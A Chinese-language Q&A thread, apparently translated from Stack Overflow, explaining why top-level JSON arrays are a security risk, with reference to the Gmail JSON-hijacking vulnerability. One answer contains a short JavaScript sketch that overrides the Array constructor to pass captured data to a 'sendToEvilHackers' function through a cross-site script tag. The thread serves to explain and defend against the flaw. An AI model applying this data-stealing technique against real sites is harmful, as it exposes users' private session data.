什么是“顶级JSON阵列”以及为什么它们存在安全风险?

时间:2010-08-17 13:48:30

标签: javascript json security xss

在下面的视频中,在时间标记21:40,Microsoft PDC演示者说重要的是所有JSON都被包装,因此它不是顶级数组:

https://channel9.msdn.com/Events/PDC/PDC09/FT12

展开顶级阵列的风险是什么?

我应该如何检查我是否容易受到伤害?我从第三方购买了许多组件,并有外部供应商开发我的代码。

2 个答案:

答案 0 :(得分:40)

这是因为几年前Jeremiah Grossman发现了interesting vulnerability that affects gmail。有些人使用unparseable cruft解决了这个漏洞(bobince先生在这个页面上的技术说明太棒了。)

微软之所以谈论这个问题,是因为他们还没有修补他们的浏览器。 (编辑: Edge和IE 10/11的最新版本已解决此问题。)Mozilla认为这是json规范中的漏洞,因此他们在Firefox 3中对其进行了修补。为了记录我完全同意Mozilla,不幸的是每个网络应用程序开发人员都必须为这个非常模糊的漏洞捍卫自己。

答案 1 :(得分:12)

我认为这是因为可以重新定义Array()构造函数。但是,这个问题对于数组来说并不是唯一的。

我认为攻击(或一种可能的方式)是这样的:

function Array(n) {
  var self = this;
  setTimeout(function() {
    sendToEvilHackers(self);
  }, 10);
  return this;
}

浏览器(或某些浏览器)将该构造函数用于[n, n, n]数组表示法。因此,CSRF攻击可以利用您与银行的开放会话,点击带有<script>标记的已知JSON网址来获取它,然后 poof 您拥有。